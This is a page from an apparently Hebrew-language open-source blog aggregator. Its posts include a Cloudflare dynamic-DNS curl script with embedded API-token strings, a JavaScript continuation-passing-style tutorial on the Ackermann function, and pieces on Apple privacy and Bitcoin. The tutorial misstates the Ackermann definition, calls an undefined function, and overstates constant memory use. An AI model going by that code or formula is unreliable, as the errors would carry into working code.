        "ssl": 0,
        "expired_ssl": 0,
        "expiring_ssl": 0,
        "pending_ssl": 0
    }
...

Edit/Update the DNS record

Now that you have the ID for the record you like to change, it’s a matter of a simple curl command,

curl https://www.cloudflare.com/api_json.html \
  -d 'a=rec_edit' \
  -d 'tkn=8afbe6dea02407989af4dd4c97bb6e25' \
  -d 'id=18136402' \
  -d 'email=sample@example.com' \
  -d 'z=example.com' \
  -d 'type=A' \
  -d 'name=test' \
  -d 'content=1.2.3.4' \
  -d 'service_mode=0' \
  -d 'ttl=1'

This command will update the IP to 1.2.3.4 for test.example.com entery.

Automate the update process

To automate the process, i have a cron job which runs every 5 minutes, and query my external IP and compare it to the resolved IP form my DNS.

#!/bin/bash

CURRENT_IP=$(dig myip.opendns.com @resolver1.opendns.com +short)
RESOLVE_IP=$(dig dyn.example.com +short @jean.ns.cloudflare.com)

if [[ ${CURRENT_IP} != ${RESOLVE_IP} ]] ;
then
    echo "need to update IP from: ${RESOLVE_IP} -> ${CURRENT_IP}"
    curl https://www.cloudflare.com/api_json.html -d 'a=rec_edit' \
        -d 'tkn=c7ee1aef8131daf52e103a21a786ecbd99193' \
        -d 'email=X@Y.Z' \
        -d 'id=42' \
        -d 'z=example.com' \
        -d 'type=A' \
        -d 'name=dyn' \
        -d 'content='${CURRENT_IP} \
        -d 'service_mode=0' \
        -d 'ttl=120' \


else
    echo "nothing to do"
    exit 0;
fi

 

17 December, 2014 11:25 PM

01 December, 2014

Meir Kriheli

מצגת ההרצאה על החיים שלי עם tmux ו־vim

tmux עם tmuxinator ו־vim מהווים מרכיב עיקרי בתהליך העבודה שלי.

בתור פרילאנסר אני עובד על פרוייקטים רבים הכתובים בשפות שונות ודורשים שרותים שונים (בסיס נתונים, cache וכד'). אופן העבודה הזה מאפשר לי להפעיל את כל השרותים והרמת סביבת העבודה יחד עם העורך לתהליך די פשוט. המעבר בין הפרוייקטים השונים הוא גם ענין של מה בכך.

למרות שבעבודה הסיפור שונה, פרוייקט בודד, אופי העבודה הנ"ל עדיין שימושי. אפשר להפעיל בקלות את סביבת העבודה והשרותים השונים כאשר רוצים להתחיל ולעבוד והתחברות מחדש לסביבה (אשר רצה על מכונה וירטואלית בשרת אחר) היא תהליך די פשוט.

המצגת אודות tmux ו־vim במסגרת מפגש PyWeb-IL 40 זמינה בעמוד הרצאות ומצגות.

01 December, 2014 09:19 PM

29 November, 2014

Kobi Zamir

yeoman

Yeoman היא תוכנה שעוזרת לבנות שלד תחילי של פרוייקט רשת. התכנה שואלת את המפעיל מספר שאלות, ולאחר מכן בונה את השלד של הפרוייקט. ‏‏Yeoman מייצרת קבצי בדיקה, מגדירה מטלות אוטמאטיות ובונה את עץ הקבצים של הפרוייקט. Yeoman משתמשת במחוללים (״generators״), כדי לייצר שלד של פרוייקט אופייני.

הטקסט המלא

29 November, 2014 02:50 PM

20 November, 2014

Lior Kaplan

קוד פתוח בממשלת ישראל

נושא הקוד הפתוח בממשלה מעסיק אותי יותר מעשור. זה התבטא בהופעה בועדות שמידי פעם מונו, שעות ייעוץ לגופים שונים, שיחות רקע לעיתונאים ופה ושם גם ראיון. במקביל השתדלתי לתעד בויקי של המקור את השימוש של קוד פתוח בממשלה, לפחות מה שנחשף בציבור ואפשר לייחס למקור ברור.

באדיבות רם-און אגמון, הופתעתי השבוע לגלות מסמך של מרכז המחקר של הכנסת "השימוש במערכות מחשוב מבוססות קוד פתוח במשרדי הממשלה" שבודק מה המצב של הקוד הפתוח בממשלה השנה (2014). המסמך נוצר לבקשת חברת הכנסת תמר זנדברג (מרצ) ורקע לדיון עתידי בנושא זה בועדת המדע והטכנולוגיה. הסיבה שהתלהבתי מהמסמך הוא שהוא מתעד גם את ההיסטוריה של העיסוק הממשלתיבנושא (עוד מ-2002) וגם שימושים בתוך הממשלה שלא הכרתי וזאת בתשובה של גופים שונים לבירורים של מרכז המחקר (ולמרות שמעט מאוד גופים טרחו לענות).

גולת הכותרת היא כמובן השב"ס, שהמסמך חושף (עמ' 13-15) את היקפי השימוש בו יותר מאשר מקורות אחרים. לפני כמה שנים, באחת הועדות שנכחתי בהן נציג השב"ס טען כי מטרתם היא להפוך למעבדת החדשנות של השירות הציבורי. בתחום הקוד הפתוח הם ללא ספק הצליחו.

בנוסף לגופים הממשלתיים נטו, ישנו סעיף המתייחס לתעשיות הבטחוניות, שם המצב הרבה יותר טוב והאימוץ הרבה יותר מגוון. בהקשר זה חשוב להזכיר את כנסי הקוד הפתוח בתעשיות הבטחוניות שנערכים זה מספר שנים דרך עמותת המקור. הכנסים העלו באופן משמעותי את החשיפה שהתחום מקבל, הן חיצונית והן פנימית והובילו ליצירת קשרים רבים לטובת המשך הטמעה ואימוץ של קוד פתוח.

במסמך מוזכרות טענות מפי גורמים שמתלוננים על קושי בגיוס אנשים בנושאי קוד פתוח, כנראה שהם פשוט לא חשופים לשוק כולו, כי כמעט כל סטארטאם היום משתמש בקוד פתוח ומוצא אנשים. אם הממשלה רק תטרח להצהיר על כוונותיה היא תראה אם השוק יענה על הדרישה. גם כי יש, וגם כי זה כלכלי לגופי הייעוץ והביצוע. ומצד שני מציינים כי המרכזים המרכזיים אינם כוללים סעיפים תמיכה בקוד הפתוח, דבר שלדעתי אמור היה לקבל התייחסות ממזמן.

אגב, בהערות השולים אפשר לראות כי קיים מסמך דומה משנת 2009, אך לצערי לא מצאתי אותו זמין כדי להשוות כמה השתפר המצב. זאת יכלה להיות השוואה מעניינת.


תויק תחת:Free Software in Israel, gov.il

20 November, 2014 06:31 AM

18 November, 2014

sml

OpenSUSE 13.2: טיפים וטריקים

רק שלשה מבין ששה שדרוגים שערכתי עד כה, הסתיימו ללא תקלה כלשהי. הפעם אפרט מה היו התקלות וכיצד התגברתי עליהן.

התקלה הנפוצה הייתה (ככל שהדבר ישמע מוזר) השלמה חלקית בלבד של יצירת הקרנל ו\או ה initrd החדשים. נשמע מופרך? לא בהכרח.

הטקסט המלא

18 November, 2014 07:27 PM

15 November, 2014

sml

שדרוג אופן-סוזה לגרסה 13.2

שנה עברה מאז שוחררה גרסה 13.1 של אופן-סוזה. במשך השנה הזו עודכנה הגרסה ללא הרף ושרתה אותי בנאמנות על מספר לא מבוטל של מחשבים. ובמשך כל אותו זמן גם המשכתי לעקוב (ולדווח מפעם לפעם על באגים) אחרי פתוח הגרסה הבאה; המעקב נערך על מחשב הנסיונות שהריץ את גרסת "factory" של אופן-סוזה – שזו הפצה מתגלגלת על כל סממניה; תוכנות חדישות, “מהקצה המדמם", הנשברות מפעם לפעם ודורשות עזרה ראשונה.

והנה החודש "הוקפא" המצב של "factory" ושוחרר כגרסה החדשה של אופן-סוזה – גרסה 13.2. פקטורי, בינתיים ממשיכה להתגלגל. מהם האלמנטים העיקריים של הגרסה החדשה?

הטקסט המלא

15 November, 2014 11:31 PM

23 October, 2014

Yaniv Gershoni

אשכול קישורים בנושא תלת מימד והדפסות

אשכול הקישורים הגדול

טוב, זה לא קשור ב-100% לבלנדר אבל זו "צומת גדולה" שאני חוזר אליה במהלך המסעות אז נראה לי שכדאי לשים לזה מקום קבוע שיאפשר גם עדכונים כשצריך.

ובכן, למי שלא שם לב, מתפתח לו "תחום" שקשור לתלת מימד והוא: "הדפסה תלת מימדית".
למעשה, ההדפסה בתלת מימד היתה קיימת די הרבה זמן אך העלויות היו גבוהות ורוב הציבור בעצם לא יכל להשתמש בטכנולוגיה הזו ולכן גם לא נחשף אליה כל כך.
עם הזמן ובעיקר בזכות פרוייקט Reprap האפשרות להשתמש בטכנולוגיה של ההדפסה התלת מימדית הפך לנגיש יותר ואפשר כבר היום לקנות מדפסות לבית ולעסק ואפילו לבנות כאלו במחירים סבירים.

בפוסט הזה לא אסביר על הטכנולוגיה וכו' (אולי בהמשך) אלא רק אשים קישורים לכל מה שקשור לנושא ועוד קצת תבלינים...
(דוכן לתירס על הצומת נקרא לזה)
פרטים נוספים »

הטקסט המלא

23 October, 2014 12:30 AM

15 October, 2014

Shlomi Israeli

קונספטים של קוד אלגנטי [חלק 3]

תכנותכתבתי בעבר מספר ביקורות אודות האקדמיה, אז לא ארחיב את זה יותר מדי כעת. אבל אודה ואומר שחוויתי מאז סדרת המאמרים הזו חוויה מעניינת, שמחזקת מעט את מה שאני מרגיש כלפי האקדמיה. כל סדרת המאמרים הזו נוגעת בעיקר בשני קורסים שמאוד לא אהבתי בזמן הלימודים (כן, אחד מהם הוא הקורס שכתבתי על המתכון להריסתו), לא אהבתי את הקורסים כי הם נראו מיותרים, לא מובנים והכי חשוב הועברו בצורה חובבנית.

אתמול ישבתי לי, והחלטתי שאני לומד נושא מסויים, שתמיד התקשיתי בו: Continuation Passing Style. זוהי טכניקת תכנות, המנצלת את האופטימיזציה מהמאמר הקודם. באמצעותה היא עוקפת את מנגנון המחסנית המובנה, ומאפשרת כתיבת קוד איטרטיבי, עבור פונקציות שקשה יותר או בלתי אפשרי לכתוב אותם עם לולאות (חשוב לציין שלולאה ומחסנית שקולה לרקורסיה).

תוך פחות מעשר דקות הבנתי את הקונספט, וכבר כתבתי מספר פונקציות בסגנון הזה בקלות. זה מאוד מפתיע כי לא נגעתי בסגנון התכנות הזה יותר משנה, ומעולם בעצם לא הבנתי אותו. האם נהיתי פשוט יותר חכם? אולי זה בגלל הניסיון שאני צובר בעבודה? אולי כן, ואולי פשוט הדרך האקדמית לא נכונה. אבל זה חורג מנושא המאמר :) אז בחזרה ל-CPS.

הרעיונות המרכזיים בשיטה זו אומרים, שאף פעם לא מבצעים החזרה של ערך מהפונקציה, וכל קריאה רקורסיבית חייבת להיות הפעולה האחרונה של הפונקציה. יש איזושהי הוכחה שאומרת שכל קוד רקורסיבי ניתן להמרה לקוד CPS. מה שמייעל באופן משמעותי כל קוד רקורסיבי.

נתבונן בפונקציית אקרמן, שאומרת:
Ack(m,n) = \begin{cases} n+1, & \mbox{if } m=0 \\ Ack(m, n-1), & \mbox{if } m=0 \mbox{ and } n>0 \\ Ack(m-1, Ack(m, n-1)), & \mbox{o/w} \end{cases}

להפוך משהו כזה ללולאה ללא שימוש במחסנית, זה לא רק לא פשוט, אלא בלתי אפשרי. העניין המרכזי שבעייתי עם הפונקציה הזו הוא שמהר מאוד מקבלים מספרים מאוד גדולים, אבל לא רק זאת, אלא שעומק הרקורסיה הוא מאוד גדול, וברוב המקרים לא נצליח לחשב משהו מעבר ל Ack(4,1) , וגם את זה בקושי. נכתוב פונקציה נאיבית לכך:

function ack1 (m,n) {
  if (m===0){
    return n + 1;
  } else if (m >0 && n === 0) {
    return ack1(m-1, 1);
  } else {
    return ack1(m-1, ack(m, n-1));
  }
}

לכל הדעות, פונקציה מאוד פשוטה, שעונה בדיוק על ההגדרה. אבל אם תנסו להריץ אותה על משהו מעבר ל Ack1(4,1) יגמר לכם המקום במחסנית ברוב התכניות. אז האם זה באמת לא אפשרי למימוש אחר? כאן מגיע לעזרתנו סגנון התכנות הזה, שבשילוב עם האופטימיזציה הזו, מסוגל לאפשר לנו לחשב כל ערך (בהינתן מספיק זמן, כי זו פונקציה ממש ממש מסובכת לחישוב).

הרעיון המרכזי אומר, נספק פונקציה נוספת לרשימת הפרמטרים, כל פעם שנרצה להחזיר ערך מיידי, במקום להחזיר אותו, נקרא לפונקציה עם אותו ערך והיא תעשה איתו כבר את מה שצריך (ממש כמו callback סטנדרטי ב-Javascript). כאשר נרצה לבצע קריאה רקורסיבית נבצע אותה בסוף הפונקציה, ונדאג לתת או ליצור callback מתאים עבור אותה קריאה. בגלל השימוש של אותה פונקציה, נקרא לה ret מלשון return.

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    // wtf
  }
}

אני תמיד הייתי נתקע בשלב שכתבתי בו wtf. כדי להבין בדיוק מה צריך לעשות, נפרק את השורה המקורית למספר פעולות:

var resultOfM_N_1 = ack1(m, n-1);
return ack1(m-1, resultOfM_N_1);

הבעיה היא שיש פה שתי קריאות רקורסיביות, ולא ברור איך לגרום לכך שתהיה רק קריאה אחת שתמיד תהיה בסוף החישוב של הפונקציה. כנראה ש-Javascript גרמה לי לחשוב בצורת callback ולכן זה הפך להיות מיידי עבורי כיום. קודם כל נחשב את הפונקציה הראשונה (לצורך העניין נדמיין שזה מבוצע על מחשב אחר, ואנחנו נקבל בחזרה את התשובה דרך ajax או משהו בסגנון, ולכן צריך לספק לו פונקציה):

ack$(m, n-1, function(resultOfM_N_1) {
  // do something with resultOfM_N_1 
});

שימו לב לשם של הפרמטר, הוא יכיל את התוצאה שהתקבלה מביצוע הפונקציה, בדיוק כמו בקוד הקודם (ולכן השם זהה). כעת אנחנו בפונקציית ה-callback שלנו, וכל מה שנשאר לעשות זה להשתמש בתוצאת הביניים ולבצע קריאה רקורסיבית נוספת, שגם היא תהיה הדבר האחרון שאנחנו עושים בתוך פונקציה. ולכן הפונקציה הסופית תראה משהו כזה:

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    ack$(m, n-1, function(resultOfM_N_1) {
      ack$(m-1, resultOfM_N_1, ret); 
    });
  }
}

כדי להריץ בפעם הראשונה את הפונקציה נבצע:

ack$(4, 1, function(result) { 
  console.log('result is ' + result);
});

הרצה של הפונקציה הזו היא אפשרית כעת, ובדיקה אצלי (עם האק קטן שמדמה את האופטימיזציה) הניבה:

time nodejs test.js
result is 65533

real	15m23.306s
user	15m8.406s
sys	0m22.508s

לקחו רק 15 דקות לחשב את הערך, אבל בסופו של דבר הוא חושב, דבר שלא היה אפשרי ללא כמות גדולה מאוד של זכרון בשיטה נאיבית יותר כמו לולאה+מחסנית או רקורסיה. העניין העיקרי שצריך להדגיש כאן הוא שמבחינת זכרון, אנחנו מדברים על סדר גודל של O(1). הסוד הוא שאנחנו מסדרים את המידע בצורה כזו, שבכל שלב אנחנו לא צריכים יותר לזכור שום דבר מקריאות אחרות, ולכן לעולם לא נצטרך למלא את המחסנית יותר ממספר קבוע של שדות.

בגלל שזה כן נושא די מסובך, ננסה לדמיין את הפונקציה ack$ כקופסה שחורה, או אפילו יותר קל, כפונקציה ששולחת בקשה לאיזשהו שרת מרוחק ומקבלת ממנו תשובה. כמו בבקשת ajax א-סינכרונית, הפונקציה תסתיים מיד וברגע שהדפדפן יקבל תשובה בחזרה, הוא יפעיל את פונקציית ה-callback שסיפקנו עם התשובה כפרמטר. ועכשיו אנחנו יכולים לעשות עם הערך הזה מה שבא לנו. במקרה שלנו, אנחנו צריכים לבצע שוב בקשה דומה (עוד קריאה רקורסיבית), רק שהפעם אנחנו נדפיס את הערך המוחזר במקום לבצע עליו חישוב נוסף.

למידע נוסף, ממליץ לקרוא גם את המאמר: By example: Continuation-passing style in JavaScript

15 October, 2014 11:58 AM

21 September, 2014

Ira Abramov

האם להאמין לאפל?

בשבועות האחרונים היו לאפל שוב שתי פאשלות אדירות בנוגע לפרטיות. האחת שהיתה יותר מפורסמת אבל פחות מעניינת היא שמאות מליוני לקוחות של iThings גילו פתאום אלבום של U2 במאגר המוזיקה שלהם ולא יכלו להסיר אותו (אלא בעזרת אתר מיוחד שלבסוף נפתח לענין). השניה והיותר מפחידה היתה כשאפל התחילה לסגור ללא רחמים חשבונות אחסון ענן (ולהבנתי גם סנכרון אנשי קשר וגישה לחנות היישומונים?) שהעלו את תמונות העירום הגנובות של קייט אפטון, ג'ניפר לורנס ושאר הסלבריטאיות – שמראש נגנבו מחשבונות iCloud פרוצים בעצמן. שיטות פעולה דרקוניות מילא, אבל זה אומר שכל קובץ שאתם מכניסים לתא שלכם נסרק ונבדק, לא רק שמו וגודלו אלא תוכנו המדויק.

כדי לפזר סוכר על הגללים (סליחה, זה לא אני המצאתי, זה ביטוי אמריקני) הכריזה אפל על כך שמהיום בעצם הם שמים את הפרטיות מעל הכל. מיסד EFF ג'ון גילמור מפרט למה לא להאמין להם (מצאתי דרך בוינגבוינג), ואני מתרגם:

> > > לאפל אין דרך לפתוח את ההצפנה של המידע ב־iMessage ו־FaceTime בזמן השידור ברשת בין מכשירים. בניגוד ליישומי העברת הודעות של חברות אחרות אפל איננה סורקת את התקשורת שלכם, ולא נוכל לספק שירותי האזנה לרשויות הבטחון גם אם נקבל צו שכזה. (מתוך הצהרת הפרטיות החדשה)

ולמה אנחנו מאמינים להם?

  • כי אנחנו יכולים לקרוא את קוד התוכנה ותיאורי הפרוטוקולים בעצמינו, ולאבחן כמה הם בטוחים?
  • כי Apple חברה גדולה וחברות גדולות לא משקרות?
  • כי הם ממשו את זה בתוכנה בינארית קניינית והצפנה קניינית היא תמיד חזקה יותר ממה שהחברה טוענת שהיא?
  • כי הם לא יכולים לעדכן בעתיד בסוד את התוכנה במכשיר שלך בצורה שתבטל את כל ההבטחות שנתנו לך, באופן אישי רק לטלפון מטרה מסוים או לקבוצה שלמה?
  • כי לעולם לא תסכים לעדכן את התוכנה מרצונך, לעולם, לא משנה כמה ינדנדו לך שיש עדכונים?
  • כי הגרסא הראשונה הזו של תוכנת ההצפנה שלהם לגמרי נקיה מבאגים כך שלעולם לא תצטרך לשדרג אותה כדי לשמור על הפרטיות?
  • כי אם עדכונים עתידיים דווקא יכניסו באגים באבטחה והפרטיות, נוכל בקלות להבדיל בינם לבין כאלו שיפתרו בעיות מסוגים אלו?
  • כי אם הם ישנו את דעתם ויחליטו לדלל את מדיניות הפרטיות שלהם בשביל נוחיותם או בגלל לחץ ממשלתי סודי, הם בוודאי יודיעו לנו?
  • כי הם עבדו קשה כל השנים למנוע ממך לשדרג את התוכנה שרצה על המכשירים שלהם כדי שאתה תוכל לבחור ולשלוט במכשיר במקומם?
  • כי בירוקרטיית הייצוא של ארה"ב לעולם לא תנסה למנוע מאפל מכירה של הצפנה קניינית לשוק הפתוח שמעבר לגבולות המדינה?
  • כי מדינות שלא נתנו לבלאקברי למכור טלפונים במתקשרים בצורה מאובטחת לשרתים הארגוניים שלך, בוודאי יתנו לאפל למכור כל מכשיר בעל אבטחה גבוהה שבא לה?
  • כי אנחנו מעריצים שרופים של החברה והם לעולם לא יכולים לטעות?
  • כי הם רוצים לעזור לטרוריסטים לנצח?
  • כי ה־NSA עצבנו אותם פעם אחת ולכן הם לצד הקהל הרחב נגד ה־NSA?
  • כי תמיד עדיף לשים האזנות לאנשים אחרי ששכנעת אותם שהם מאובטחים לגמרי, כדי שישפכו את הסודות הכי כמוסים שלהם?

יש עוד איזו סיבה, אני לא מצליח לחשוב עליה כרגע…
ג'ון.

למען השלמות, אני אוסיף שגם אנדרואיד כפי שהוא מגיע מסוגר מיצרנים כמו סאמסונג ואל-ג'י, חולים באותה המחלה. כדי להיות בשליטה אמיתית ומלאה על המכשיר שלכם, צריך לעשות ניתוחי כריתת תוכנה כואבים ולהשתמש בהם באופן זהיר. אין מה לעשות.

תגים: , , , , , , , , , , , , , ,

21 September, 2014 04:18 AM

14 September, 2014

Niv Lilien

מיקרוסופט אין מובילי*

מיקרוסופט עומדת בפני פלח מחשוב חדש, שמאיים להרוס את ההגמוניה של Windows. מחשבי לוח אמרתם? לא, אני מדבר על נטבוקים. איך ההיסטוריה הקרובה חוזרת על עצמה, ופרשנות אוחרת למהלך עליו הכריזה מיקרוסופט השבוע.

Full text

14 September, 2014 06:20 PM

פתוח זה בטוח: תשובה שלי לגדי להב

השבוע פרסם גדי להב, שמונה לאחרונה לעורך "וואלה", טור בדה מרקר בדפוס וברשת, שבו הוא טוען כי הפתיחות של מערכת ההפעלה אנדרואיד הופכת אותה לפגיעה לווירוסים, ואילו המערכת המתחרה של אפל בטוחה יותר משום שהיא סגורה. אלא שהטור המבהיל שלו, מתבסס על שורה של הנחות רווחות בציבור, שברובן שגויות

Full text

14 September, 2014 06:17 PM

04 September, 2014

Arie Skliarouk

O GTalk team, where were thou? (part II)

Four full years passed since my last post on GTalk. Unfortunately I can't say much good about Google Instant Messenger efforts. It looks they would like everybody to switch from XMPP-based GTalk to proprietary protocol of Hangouts.

We saw stop of XMPP federation, wholesale upgrade of GTalk clients to Hangouts, last GTalk for Windows have been released15 months ago. Next logical step is to stop supporting XMPP altogether. What a sad day that would be..

Of the handful biggest IM providers, none supports open protocol (besides Google/XMPP yet). With 19 billions valuations the market is huge, and one would expect the fierce competition to leave no rock unturned in attracting more users. Unfortunately commercial interests prevail here.

There never was better time for an established company to embrace open-protocol platform. May be there already is? Please post in comments.

PS. Whoever is still on XMPP/Jabber/GTalk platform, uses pidgin on ubuntu 14.04 amd64 and misses "message delivery confirmation" plugin - here is a bit of solace for you: pidgin-xmpp-receipts_0.6-1_amd64.deb

04 September, 2014 10:59 AM

28 August, 2014

Ira Abramov

קריפטוכסף

ביטקוין עשה קצת רעש בחודשים האחרונים – בורסות שנפרצות, כסף שנגנב, פוליטיקאים שנלחצים… מצד אחד מדובר רק במספרים ברשת שלא מוכרים ע"י אף ממשלה, ומצד שני גם משהו מרעיש שגורם לבנק ישראל ודירקטוריונים של בנקים להבהל ממנו כמו אבולה ולשבת בלילות להבין מה לעשות איתו ונגדו.

רבות נכתב על זה, אני הייתי מאוד ספקן בהתחלה וחיכיתי שזה יתמוסס בצורה מאכזבת או יתפוצץ לאנשים בפנים. אח"כ חשבתי שזה סתם למשוגעים לעניין שרוצים "לשחק בבורסה" בלי להמר על כסף אמיתי, ובסוף כבר פחדתי להכנס כי מרוב חדשות על גנבות ופריצות אתרים (שלא לדבר על קפיצות ערך ספקולנטיות) זה לא נראה לי בכלל הגיוני לגעת בזה במקל ארוך.

אבל ככל שנוקף הזמן אני רואה שהקריפטוקוינז כאן להשאר, אז כספקן הבנתי שיש להתנסות. שיחקתי עם זה כחודש ואני אחלוק אתכם את דעתי הקטנה על הנושא. כדי ללמוד עוד על הצד הטכני (שאדבר עליו רק מעט) אפשר להתחיל באתר קריפטוביט בעברית, ומשם לכל אחד ממאות אתרים ובלוגים או ערוצי יוטיוב בשביל שפות אחרות.

אז מה הם ביטקוין וקריפטוקוינז בכלל?

מדובר בכמה טכנולוגיות מתמטיות מעניינות מתחום ההצפנה והרשתות המבוזרות שבשלו וחוברו להן יחדיו. היוצר של הקריפטוקוין הראשון והמפורסם ביטקוין נותר אלמוני, אבל מאז שוכללו השיטות ויש כרגע מאות קריפטוקוינים אחרים ברשת, למעשה קל מאוד לייצר לעצמך מטבע, לרוב זה רק חסר פואנטה כי אם אין שוק משתמשים, לא יהיה לזה ערך.

זה נכון לכל סחורה, הרי. היא שווה יותר או פחות לאנשים שונים. גם לכסף הרשמי של המדינה יש ערך רק בדמיון של המשתמשים בו. יתרה על זאת רק כ־5% מכמות הכסף היא שטרות נייר (יותר יקרים מסתם נייר אבל עדיין לא שווים את ערכם הנקוב), ומטבעות, וכל השאר מספרים שהבנקים מריצים על המחשבים שלהם. כל פעם שהבנק מלווה לך או נותן לך קרדיט מעבר ל־0, הוא למעשה יצר כסף, ולמרות שיש גבול לכמה כסף שמותר לבנק לייצר, זה כבר גרם להתמוטטיות בעבר.

אז מה שנותן לקריפטוקוין את ערכו הוא רק האמון של אנשים בבטיחות ההצפנה והשיטה. כדאי להבין אם כן במה מדובר פה. החלק הראשון והפשוט של פרוטוקול ביטקוין הם ה"ארנקים". זה מצחיק לקרוא להם ככה כי הם לא באמת מכילים כסף, הם רק כתובת שאפשר לשלוח אליה כסף. הכתובת הזו היא החלק הציבורי של זוג מתחות פרטי-ציבורי. חשוב להבין את זה שהשליחה היא חד כיוונית, אפשר לשלוח כסף לכל מפתח ציבורי חוקי (ויש מספר עצום של כאלו) ואף אחד לא צריך לשבת בצד השני וללחוץ על אישור קבלה. שלחתם כסף למספר לא נכון? כנראה שהלך הכסף. בגלל השיטה המתמטית, מאוד קשה לייצר מפתח פרטי בצורה מכוונת, כך שהמפתח הציבורי שלו יהיה זהה לזה ששלחתם אליו. אם זה היה אפשרי, כל אדם שהיה מכיר את המפתח הציבורי שלכם כבר היה יכול לגשת לכסף ש"יש בארנק" ולבצע איתו תשלומים. ושוב להבהיר – הארנק לא "מביל כסף", הוא צמד של מפתח סודי וציבורי, וסכום הכסף ש"יש בו" הוא סכום העסקאות שהתבצעו ממנו ואליו לאורך הבלוקצ'יין עד היום. זה אומר שבכל תוכנה או אתר שבהם תעלו את המפתח הפרטי, אפשר לסחור עם הסכומים של אותו הארנק, כי אין הבדל אמיתי.

וכאן אנחנו מגיעים לשאלה של ביצוע העברות הכסף. אם יש לי מפתח PGP ציבורי של מישהו, אני יכול לשלוח הודעה מוצפנת לאדם אחר, אני יכול גם לפרסם ברשת את ההודעה ורק אותו אדם יוכל לקרוא אותה. אני יכול גם לשים את זה בקובץ עם עוד הודעות אחרות וכל אחד יוכל לעבור על כל הקובץ ולקרוא רק את ההודעות המיועדות לו. עכשיו דמיינו שהקובץ הזה לא יושב על שרת אחד אלא ברשת שיתוף קבצים בסגנון ביטטורנט ותתחילו להבין עם מה אנחנו מדברים… החצי השני הוא חתימה דיגיטלית – רק מי שבידו המפתח הסודי יכול להורות על העברה בשם הארנק המדובר, וכל מי שיראה את פקודת ההעברה (כל אלפי מחזיקי הבלוקצ'יין וכוריה) יראה שזה אכן בשם בעל הארנק.

אם כך, ברשת יש קובץ שתופח ותופח (נכון להיום הבלוקצ'יין של ביטקוין הוא כ־25 גיגה והוא גדל כל הזמן) ומכיל את כל פקודות העברות הכספים (וסוגי מידע שונים, על זה בהזדמנות אחרת), הקובץ חתום ע"י המשתמשים עצמם בצורה שאפשר לוודא שהמידע שם אמין, ותהליך החתימה הלא-פשוט הזה מזכה אותך בתשלום (בביטקוינז כמובן). בקיצור יש לנו משאב מוגבל, שאי אפשר לשכפל אותו, אי אפשר להכנס איתו למינוס, מצד שני גם אי אפשר לבטל בו עיסקאות (אין גוף מרכז העברות תשלום שיכול לשלוח יד לארנק מקבל התשלום ולהחזיר משם את הכסף כמו תאגיד אשראי או בנק). מצד שני כל ארנק שמקושר לשמך כבר איננו אנונימי – מי שיסתכל על הבלוקצ'יין רואה את כל הפעולות שביצעת – כמה כסף נכנס ויצא, ממי ואל מי. שקיפות מוחלטת, ואם חיברת את מזהה הארנק לשימך, אז למעשה גם שום פרטיות (לדוגמא, הנה הארנק של התרומות לתנועה לזכויות דיגיטליות). הפעולה היחידה שמצריכה התערבות שלך היא שחרור הודעת העברת תשלום, ומרגע ששיתפת את הפקודה הזו ברשת המבוזרת, אין חזרה. אם עבדו עליך או ששלחת לכתובת שאף אחד לא מחזיק במפתח הסודי שלה – הלך הכסף.

בעיות טכניות עם הרשת הזו – אין גלגול עסקאות לאחור, ניהול ארנק מקומי משמעותו להוריד 25GB של חומר לפני שתוכל להשתתף בעולם המסחר הזה, וארנק בפיקדון אצל צד ג' (למשל אתרים כמו BlockChain או בורסות כגון קראקן) משמעו לסמוך על צד ג' כלשהוא שיחזיק אצלו את המפתח הפרטי שלך בצורה מאובטחת, למשל מוצפן בצורה שרק הדפדפן שלך יפתח אותו בצד הלקוח ולעולם לא יהיה שמור בצד השרת). אחרי כן יש את השאלה של זכירת סיסמאות (לרוב אם שכחת את הסיסמא, הלך הארנק ואיתו הכסף). ואז לבסוף שאלת המחשב הפרוץ – אם אתם משתמשים באתר כמו בלוקצ'יין ממחשב נגוע בוירוסים ורוגלות, צ'כחו מהכסף.

בעיות חוקיות – אלע"ד, אבל מדינות עכשיו יושבות ותוהות מה לעשות. בארה"ב יש מדינות שרוצות שסחר בקריפטוכסף יהיה רק למחזיקי רשיון (הצחיקו אותנו, איך אוכפים את זה?) ושטויות דומות נשמעות ממקומות אחרים. מצד אחד החלפת נכסים דיגיטליים כמוה כבארטר, ולא כל בארטר הוא חוקי בכל מדינה (המדינה רוצה מס הכנסה על הכנסות ומע"ם על עסקאות, כנ"ל מיסי מתנות/ירושות וכולי). בקיצור, שאלות פתוחות, וכאן מדובר בכסף גדול. מה זה גדול? ענק.

בעיות כלכליות – השוק הזה מאוד ספקולטיבי. היום מעט מאוד אתרים מקבלים ביטקוין, ועוד הרבה פחות מקבלים לייטקוין. בדרך יש עוד מטבעות דור שני מתוחכמים כמו נקסט ואחרים שמאפשרים טיפה יותר שליטה במערב הפרוע, שירותי אסקרו והלוואות מתוזמנות וכל מיני פיצ'רים, השאלה אם זה לא הופך את הכלכלה המתפרעת במערב (את דעותי על מחלות הקפיטליזם חפשו בפוסטים אחרים) לעוד פחות בת קיימא ועוד פחות יציבה? זו מערכת ששום יד לא מכוונת אותה מנקודות תכנון ורגולציה מרכזיות, רק שגיונותיהם של ההמונים הבלתי מאורגנים. בקיצור, בלגנים. אני כמי שדוגל בכלכלה בת קיימא, שמאפשרת עתיד חברתי ושפוי מבחינה אקולוגית, לא רואה בזה תופעה טובה, מצד שני אני גם לא חושב שניתן למנוע את התופעה או לשים אותה בזמם באינטרנט החופשי (ושאני רוצה שישאר חופשי). מבינתי זה דיסראפטור מוגזם בכוחו הפוטנציאלי, ולא חסרים הליברטריאנים דה מי קולו ששים לקפוץ על העגלה הזו (ולגנוב את הסוס). אני חבר בעמותות שמקבלות תרומות ביטקוין, אני אפילו פתחתי בבלוג עמוד תרומות בקריפטוקוין, אבל אני לא מתכוון להמיר יותר מדי כסף פיאט מהעו"ש לקריפטו ולנסות לדפוק קופה על ארביטרציות. אם אחזור להיות עצמאי, אני לא חושב שאסכים לקבל ביטקוין כתשלום. אני לא בטוח שארגונים חברתיים כמו הבר קיימא חשבו מספיק על ההשלכות כשהתחילו לקבל תשלום בביטקוין.

